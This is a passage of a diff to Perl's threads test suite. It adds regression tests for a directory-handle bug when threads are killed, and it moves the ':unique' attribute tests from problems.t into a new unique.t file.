+ $SIG{'KILL'} = sub { threads->exit(); };
+
+ opendir $DIRH, ".";
+ my $start = telldir $DIRH;
+ while (1) {
+ readdir $DIRH or seekdir $DIRH, 0;
+ }
+ } if $ARGV[0];
+
+ opendir $DIRH, ".";
+ for(1..5) {
+ select undef, undef, undef, .25;
+ }
+
+ if ($ARGV[0]) {
+ $thr->kill('KILL')->detach();
+ }
+ print($@ ? 'not ok' : 'ok');
+EOI
+ File::Path::rmtree($dir);
+}
+
+{
+ $SIG{'KILL'} = undef;
+ my $tmp = File::Spec->tmpdir();
+ chdir $tmp;
+ my $dir = File::Spec->catdir( $tmp, "shouldberead$$" );
+ mkdir $dir;
+ chdir $dir;
+ for ('a'..'e') {
+ open my $THING, ">$_";
+ close $THING or die "$_: $!";
+ }
+ chdir $cwd;
+
+ local $ARGV[0] = 1;
+ fresh_perl_is(<<'EOI', 'ok', { }, 'RT #77934: Case: Perl-true $ARGV[0]');
+ local $@;
+ my $DIRH;
+ my $thr;
+ $thr = async {
+ # Thread 'cancellation' signal handler
+ $SIG{'KILL'} = sub { threads->exit(); };
+
+ opendir $DIRH, ".";
+ my $start = telldir $DIRH;
+ while (1) {
+ readdir $DIRH or seekdir $DIRH, 0;
+ }
+ } if $ARGV[0];
+
+ opendir $DIRH, ".";
+ for(1..5) {
+ select undef, undef, undef, .25;
+ }
+
+ if ($ARGV[0]) {
+ $thr->kill('KILL')->detach();
+ }
+ print($@ ? 'not ok' : 'ok');
+EOI
+ File::Path::rmtree($dir);
+}
+
+exit(0);
diff --git a/gnu/usr.bin/perl/dist/threads/t/problems.t b/gnu/usr.bin/perl/dist/threads/t/problems.t
index 3f28c0f3b51..3657d3403e1 100755
--- a/gnu/usr.bin/perl/dist/threads/t/problems.t
+++ b/gnu/usr.bin/perl/dist/threads/t/problems.t
@@ -21,18 +21,14 @@ BEGIN {
$| = 1;
if ($] == 5.008) {
- print("1..11\n"); ### Number of tests that will be run ###
+ print("1..6\n"); ### Number of tests that will be run ###
} else {
- print("1..15\n"); ### Number of tests that will be run ###
+ print("1..10\n"); ### Number of tests that will be run ###
}
};
print("ok 1 - Loaded\n");
-### Start of Testing ###
-
-no warnings 'deprecated'; # Suppress warnings related to :unique
-
use Hash::Util 'lock_keys';
my $test :shared = 2;
@@ -93,50 +89,6 @@ if ($] != 5.008)
}
-# bugid 24383 - :unique hashes weren't being made readonly on interpreter
-# clone; check that they are.
-
-our $unique_scalar : unique;
-our @unique_array : unique;
-our %unique_hash : unique;
-threads->create(sub {
- lock($test);
- my $TODO = ":unique needs to be re-implemented in a non-broken way";
- eval { $unique_scalar = 1 };
- print $@ =~ /read-only/
- ? '' : 'not ', "ok $test # TODO $TODO - unique_scalar\n";
- $test++;
- eval { $unique_array[0] = 1 };
- print $@ =~ /read-only/
- ? '' : 'not ', "ok $test # TODO $TODO - unique_array\n";
- $test++;
- if ($] >= 5.008003 && $^O ne 'MSWin32') {
- eval { $unique_hash{abc} = 1 };
- print $@ =~ /disallowed/
- ? '' : 'not ', "ok $test # TODO $TODO - unique_hash\n";
- } else {
- print("ok $test # SKIP $TODO - unique_hash\n");
- }
- $test++;
- })->join;
-
-# bugid #24940 :unique should fail on my and sub declarations
-
-for my $decl ('my $x : unique', 'sub foo : unique') {
- {
- lock($test);
- if ($] >= 5.008005) {
- eval $decl;
- print $@ =~ /^The 'unique' attribute may only be applied to 'our' variables/
- ? '' : 'not ', "ok $test - $decl\n";
- } else {
- print("ok $test # SKIP $decl\n");
- }
- $test++;
- }
-}
-
-
# Returning a closure from a thread caused problems. If the last index in
# the anon sub's pad wasn't for a lexical, then a core dump could occur.
# Otherwise, there might be leaked scalars.
diff --git a/gnu/usr.bin/perl/dist/threads/t/unique.t b/gnu/usr.bin/perl/dist/threads/t/unique.t
new file mode 100644
index 00000000000..a9cfdbbcd22
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/threads/t/unique.t
@@ -0,0 +1,81 @@
+use strict;
+use warnings;
+
+BEGIN {
+ use Config;
+ if (! $Config{'useithreads'}) {
+ print("1..0 # SKIP Perl not compiled with 'useithreads'\n");
+ exit(0);
+ }
+ if ($] >= 5.027000) {
+ print("1..0 # SKIP 'unique' attribute no longer exists\n");
+ exit(0);
+ }
+}
+
+use ExtUtils::testlib;
+
+use threads;
+
+BEGIN {
+ if (! eval 'use threads::shared; 1') {
+ print("1..0 # SKIP threads::shared not available\n");
+ exit(0);
+ }
+
+ $| = 1;
+ print("1..6\n") ; ### Number of tests that will be run ###
+}
+
+print("ok 1 - Loaded\n");
+
+### Start of Testing ###
+
+no warnings 'deprecated'; # Suppress warnings related to :unique
+
+my $test :shared = 2;
+
+# bugid 24383 - :unique hashes weren't being made readonly on interpreter
+# clone; check that they are.
+
+our $unique_scalar : unique;
+our @unique_array : unique;
+our %unique_hash : unique;
+threads->create(sub {
+ lock($test);
+ my $TODO = ":unique needs to be re-implemented in a non-broken way";
+ eval { $unique_scalar = 1 };
+ print $@ =~ /read-only/
+ ? '' : 'not ', "ok $test # TODO $TODO - unique_scalar\n";
+ $test++;
+ eval { $unique_array[0] = 1 };
+ print $@ =~ /read-only/
+ ? '' : 'not ', "ok $test # TODO $TODO - unique_array\n";
+ $test++;
+ if ($] >= 5.008003 && $^O ne 'MSWin32') {
+ eval { $unique_hash{abc} = 1 };
+ print $@ =~ /disallowed/
+ ? '' : 'not ', "ok $test # TODO $TODO - unique_hash\n";
+ } else {
+ print("ok $test # SKIP $TODO - unique_hash\n");
+ }
+ $test++;
+ })->join;
+
+# bugid #24940 :unique should fail on my and sub declarations
+
+for my $decl ('my $x : unique', 'sub foo : unique') {
+ {
+ lock($test);
+ if ($] >= 5.008005) {
+ eval $decl;
+ print $@ =~ /^The 'unique' attribute may only be applied to 'our' variables/
+ ? '' : 'not ', "ok $test - $decl\n";
+ } else {
+ print("ok $test # SKIP $decl\n");
+ }
+ $test++;
+ }
+}
+
+